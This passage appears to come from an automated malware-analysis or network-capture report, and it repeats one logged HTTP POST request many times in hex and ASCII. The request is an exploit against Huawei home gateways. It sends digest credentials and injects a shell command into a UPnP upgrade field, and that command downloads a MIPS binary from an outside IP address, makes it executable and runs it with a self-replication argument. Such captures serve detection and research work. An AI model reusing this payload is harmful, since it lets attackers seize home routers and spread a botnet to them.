22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 